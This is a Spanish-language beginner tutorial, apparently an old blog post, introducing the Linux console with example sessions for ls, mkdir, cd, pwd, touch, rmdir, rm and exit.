<p>Es este caso, no veremos los caracteres que tecleamos, si nos confundimos en el password o en el login, no nos dirá en que nos hemos confundido y tendremos que teclear las dos cosas.</p>
<p>¿Ya hemos entrado?, bien podemos comenzar. En primer lugar y si nunca ha tenido contacto con un interfaz en modo consola, Linux es como un chat o IRC, pero en lugar de hablar con otras personas que están conectadas al IRC, hablamos con el sistema operativo.</p>
<p>Observamos que en la pantalla, sólo vemos un mensaje y un cursor parpadeante:</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ _</td>
</tr>
</table>
<p>Ese mensajito, es el llamado &quot;prompt&quot;, traducido como simbolo del sistema, y quiere decir, que el sistema operativo, está preparado y listo para aceptar órdenes, o sea, escribimos algo, pulsamos retorno de carro y el sistema operativo, nos responde, y vuelve a aparecer el shell para que podamos decir más cosas.</p>
<p>Si pulsamos varias veces la tecla de retorno de carro sin decir nada, se escribe más veces el símbolo del sistema.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$<br />
[genaro]$<br />
[genaro]$<br />
[genaro]$<br />
[genaro]$ _</td>
</tr>
</table>
<p>Comenzamos a trabajar.<br />
[Siempre pulsamos retorno de carro para acabar una órden]</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ naz, que pasa tronco?<br />
bash: naz,:<br />
command not found</td>
</tr>
</table>
<p>Parece que no nos ha hecho mucho caso, lo mismo hay que hablarle en giri.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ hello, what&#8217;s the matter?<br />
bash: hello:<br />
command not found</td>
</tr>
</table>
<p>¿Qué es lo que pasa?, que el sistema operativo no es un sistema experto, no podemos hablar con el como si fuera otra persona, tenemos que introducirle órdenes, el se las traga, hace lo que tenga que hacer y escribe en pantalla los resultados.</p>
<p>Vamos a comenzar con una primera órden. &quot;clear&quot;.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ CLEAR<br />
bash: CLEAR:<br />
command not found</td>
</tr>
</table>
<p>Ops, parece que no funciona, ¿por qué?, ¿tiene que ser en minúsculas?, pues si.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ clear</td>
</tr>
</table>
<p>Y la pantalla se nos limpia, de todas formas si pulsamos la combinación de teclas Control + L, se nos limpia la pantalla también.</p>
<p><b>TIP 1:</b> Linux distingue las mayúsculas de las minúsculas</p>
<p>La siguiente órden, &quot;ls&quot;, lista el contenido de un directorio, un directorio es el equivalente a una carpeta de trabajo, como las que tenemos en Windows, solo que no la vemos en una ventana. &quot;ls&quot; viene de la contracción de la palabra inglesa &quot;list&quot;, en castellano &quot;LiStar&quot;.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls<br />
[genaro]$ _</td>
</tr>
</table>
<p>¿Qué ha pasado?, ¿no ha funcionado?, por lo visto no hay ningún fichero en la carpeta en la que estamos y por lo tanto no ha devuelto nada.</p>
<p><b>TIP 2:</b> Cuando Linux no tiene nada que decir, no dice nada.</p>
<p>Si no tenemos ficheros, pues nos lo hacemos, vamos a empezar por otra carpeta.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ mkdir mi carpeta<br />
[genaro]$</td>
</tr>
</table>
<p>Y vamos a ver si la ha creado.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls<br />
carpeta mi<br />
[genaro]$</td>
</tr>
</table>
<p>Opssss, ¿ha puesto el nombre del directorio al reves?, no, resulta que ha creado dos directorios, un directorio &quot;mi&quot; y un directorio &quot;carpeta&quot;, vamos a intentarlo de otra forma:</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ mkdir &quot;mi carpeta&quot;<br />
[genaro]$ ls<br />
carpeta mi mi carpeta<br />
[genaro]_</td>
</tr>
</table>
<p>dabuten, si queremos cambiar de directorio, usamos la órden &quot;cd&quot;.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ cd<br />
carpeta<br />
[carpeta]$ _</td>
</tr>
</table>
<p>Observamos, que el prompt ha cambiado, indicando el directorio en el que estamos, en cualquier momento podemos hallar el directorio en el cual estamos situados usando la órden pwd.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[carpeta]$ pwd<br />
/home/genaro/carpeta<br />
[carpeta]$ _</td>
</tr>
</table>
<p>El mensaje que nos ha respondido quiere decir, que estamos en el directorio carpeta, que está dentro del directorio genaro que a su vez está en el directorio home. Linux, al igual que todos los Unix, utiliza para separar los directorios el símbolo correcto, o sea el &quot;/&quot;, &#8216;backslack&#8217;, de hecho es el que se utiliza en los URL de internet.</p>
<p>El directorio más alto de todos, es el directorio &quot;/&quot;, llamado directorio raiz, un directorio, puede contener varios directorios, llamados subdirectorios, o directorios hijos, pero un directorio hijo, o subdirectorio, no puede contener varios directorios padres. Para subir en la jerarquía de directorios, podemos teclear.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[carpeta] cd ..<br />
[genaro] _</td>
</tr>
</table>
<p>Los dos puntitos separados del cd, pues de lo contrario, no se reconocerá la órden. También podíamos haber dado el camino completo, veamos como:</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro] cd -<br />
[carpeta] cd /home/genaro<br />
[genaro] _</td>
</tr>
</table>
<p>La primera órden cd -, vuelve al anterior directorio en el que hayamos estado, y con la segúnda órden, indicamos el camino completo. También se puede indicar un camino relativo, veamos como.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro] cd -<br />
[carpeta] cd ../mi<br />
[mi] cd ../../genaro<br />
[genaro] cd mi<br />
[mi] _</td>
</tr>
</table>
<p>El directorio &quot;mi&quot;, está a la misma altura que el directorio &quot;carpeta&quot;, ambos cuelgan del directorio &quot;genaro&quot;, asi que vamos al directorio &quot;mi&quot; dando como referencia el directorio padre, (los dos puntos), &quot;../mi&quot;. Estando en el directorio &quot;mi&quot;, la órden &quot;cd ../../genaro&quot; es equivalente a &quot;cd ..&quot;, simplemente hemos dado un rodeo. Voy a introducir en este punto una órden, la órden es &quot;touch&quot;, sirve para crear un fichero si no existe.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[mi]$ touch fichero1<br />
[mi]$ ls<br />
fichero1</td>
</tr>
</table>
<p>Hemos creado un fichero llamado &quot;fichero1&quot;, este fichero estará vacío, no contiene nada. Vamos al directorio padre, y vamos con lo último que nos queda de los directorios, el borrado de estos. El borrado de directorios se hace con &quot;rmdir&quot;.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[mi]$ cd ..<br />
[genaro]$ ls<br />
carpeta mi mi carpeta<br />
[genaro]$ rmdir carpeta<br />
[genaro]$ ls<br />
mi mi carpeta<br />
[genaro]$ rmdir &quot;mi carpeta&quot;<br />
[genaro]$ ls<br />
mi<br />
[genaro]$ rmdir mi<br />
rmdir: mi: Directory not empty<br />
[genaro] _</td>
</tr>
</table>
<p>No podemos borrar el directorio &quot;mi&quot;, por que hemos creado antes el fichero &quot;fichero1&quot;. tenemos que entrar en ese directorio, borrar el fichero, volver y borrar el directorio. Para borrar ficheros, usamos la órden &quot;rm&quot;.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ cd mi<br />
[mi]$ rm fichero1<br />
[mi]$ ls<br />
[mi]$ cd ..<br />
[genaro]$ rmdir mi<br />
[genaro]$ ls<br />
[genaro]$ _</td>
</tr>
</table>
<p>Ya está, hay otra forma de borrar directorios que no están vacios, es con la órden &quot;rm -r&quot;, la r de recursivo. Para salir de una sesión abierta de Linux, se usa la órden exit.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ exit<br />
Linux Debian (Potatoe)<br />
Login:</td>
</tr>
</table>
<p>Y volveremos a ver el login inicial. De momento y como no sabemos parar un sistema Linux, para pararlo usamos la combinación de teclas &quot;Control + Alt + Delete&quot;, cuando esté el ordenador a punto de arrancar otra vez, lo para pulsando el botón de power.</p>
<p>Resumen: hasta ahora hemos visto:</p>
<li>Entrar y salir en una sesión.</li>
<li>Qué es esa pantalla negra.</li>
<li>Crear y borrar directorios.</li>
<li>Moverse entre directorios.</li>
<li>Qué fichero hay en cada directorio.</li>
<li>Borrar ficheros.</li>
<p>Próxima sesión, más de lo mismo.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
